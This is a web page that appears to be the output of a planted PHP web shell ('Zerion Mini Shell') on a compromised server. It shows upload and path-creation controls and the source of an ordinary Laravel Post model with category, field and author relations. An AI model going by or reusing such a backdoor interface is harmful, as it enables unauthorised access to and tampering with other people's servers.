%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/shaban/duassis/api/app/Models/
Upload File :
Create Path :
Current File : //var/www/html/shaban/duassis/api/app/Models/Post.php

<?php

namespace App\Models;

use Carbon\Carbon;
use Exception;
use Illuminate\Support\Facades\DB;
use Spatie\MediaLibrary\HasMedia\HasMedia;
use Spatie\MediaLibrary\HasMedia\HasMediaTrait;

/**
 * @property integer id
 * @property string title
 * @property string type
 * @property User author
 * @property Category category
 * @property Field|null field
 * @property mixed|null expires_at
 */
class Post extends BaseModel implements HasMedia
{
    use HasMediaTrait;

    const GAME_TYPE = 'GAME';
    const CHAMPIONSHIP_TYPE = 'CHAMPIONSHIP';
    const FEED_TYPE = 'FEED';
    const JOIN_TYPE = 'JOIN';

    const MEDIA_COLLECTION = 'posts';

    protected $fillable = [
        'title',
        'type',
        'expires_at',
    ];

    protected $dates = [
        'expires_at',
    ];

    protected $guarded = [
        'user_id',
        'field_id',
        'category_id',
    ];

    protected $casts = [
        'id'         => 'integer',
        'title'      => 'string',
        'type'       => 'string',
        'expires_at' => 'datetime',
    ];

    /**
     * @param $data
     * @return Post
     * @throws Exception
     */
    public static function createItem($data)
    {
        try {
            DB::beginTransaction();
            /** @var Post $post */
            $post = Post::query()
                        ->make([
                            'title'      => $data['title'],
                            'type'       => array_key_exists('type', $data)
                                ? $data['type']
                                : self::GAME_TYPE,
                            'expires_at' => array_key_exists('expires_at', $data)
                                ? Carbon::parse($data['expires_at'])
                                : null,
                        ]);
            /** @var User $author */
            $author = $post->getLoggedInUser();
            if (array_key_exists('fieldId', $data)) {
                $field = Field::query()
                              ->findOrFail($data['fieldId']);
                $post->field()
                     ->associate($field);
            }

            $category = Category::query()
                                ->findOrFail($data['categoryId']);
            $post->category()
                 ->associate($category);

            $post->author()
                 ->associate($author);
            $post->save();
            $post->save();
            DB::commit();
            try {
                // if (array_key_exists('image', $data) && $image = $data['image']) {
                //     $post->uploadPicture($image);
                // }
            } catch (Exception $e) {
                //NOTHING
            }
            return $post;
        } catch (Exception $e) {
            DB::rollBack();
            throw $e;
        }
    }

    public function field()
    {
        return $this->belongsTo(Field::class);
    }

    public function category()
    {
        return $this->belongsTo(Category::class);
    }

    public function author()
    {
        return $this->belongsTo(User::class, 'author_id');
    }

}

Zerion Mini Shell 1.0